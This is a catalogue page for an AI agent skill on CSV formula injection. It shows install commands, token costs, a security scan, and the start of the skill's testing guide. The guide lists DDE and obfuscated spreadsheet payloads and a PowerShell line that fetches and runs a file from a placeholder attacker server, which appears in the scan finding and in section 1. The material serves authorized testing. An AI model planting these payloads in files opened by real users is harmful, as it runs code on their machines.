csv-formula-injection

csv-formula-injection is a skill for Claude Code, Codex from miru-zero/zero-brain. It costs 41 tokens per session (1,179 once invoked), scanned A, a copy of csv-formula-injection, MIT.

A security testing guide for formula injection in CSV files and spreadsheets, where cell values beginning with formula characters can be interpreted as instructions.

In plain words
What is it for?
Use it to review CSV exports, imports, reports, and fields opened in Excel, LibreOffice Calc, Google Sheets, or similar tools, with controlled testing.
Why use it?
It helps identify exports or user-controlled fields that could perform unintended calculations, external requests, or local actions when opened in spreadsheet software.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/miru-zero/zero-brain/csv-formula-injection
Any agent
npx skills add miru-zero/zero-brain --skill csv-formula-injection
Clone the repo
git clone --depth 1 https://github.com/miru-zero/zero-brain

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for csv-formula-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/miru-zero/zero-brain/csv-formula-injection.svg)](https://agentmods.dev/skills/miru-zero/zero-brain/csv-formula-injection)
Your own site
<a href="https://agentmods.dev/skills/miru-zero/zero-brain/csv-formula-injection"><img src="https://agentmods.dev/badge/skills/miru-zero/zero-brain/csv-formula-injection.svg" alt="Measured on agentmods" height="20"></a>
Per session 41 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,179 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. Scan, not verified.
Origin 94% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00041 $0.01179
Opus 5 $0.00020 $0.00589
Sonnet 5 $0.00008 $0.00236
Haiku 4.5 $0.00004 $0.00118

Measured 3d ago against content hash ae1e177c46a6, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

csv-formula-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
Origin

This is a copy

94% identical to csv-formula-injection — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/csv-formula-injection/SKILL.md · 145 lines

How it starts

The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: CSV Formula Injection

AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.

0. QUICK START

Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):

=
+
-
@

Test cells may look like:

name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.


1. DDE INJECTION (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:

DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'

PowerShell-style chaining (lab only; replace host and payload with benign equivalents):

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

2. OBFUSCATION

Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):

AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A

Extra whitespace after =:

=         cmd|'/c calc.exe'!A

Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):

=    C    m D    |'/c calc.exe'!A

rundll32 style:

=rundll32|'URL.dll,OpenURL calc.exe'!A

3. GOOGLE SHEETS

If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:

Read the full file on GitHub · 145 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 145 lines · 41 tokens per session scan A ae1e177c46a6

Subscribe to this mod's changes

csv-formula-injection is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 16d ago), licensed MIT. It adds 41 tokens to every session and 1,179 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 94% identical to csv-formula-injection, differing in 4 lines, and is treated as a copy.

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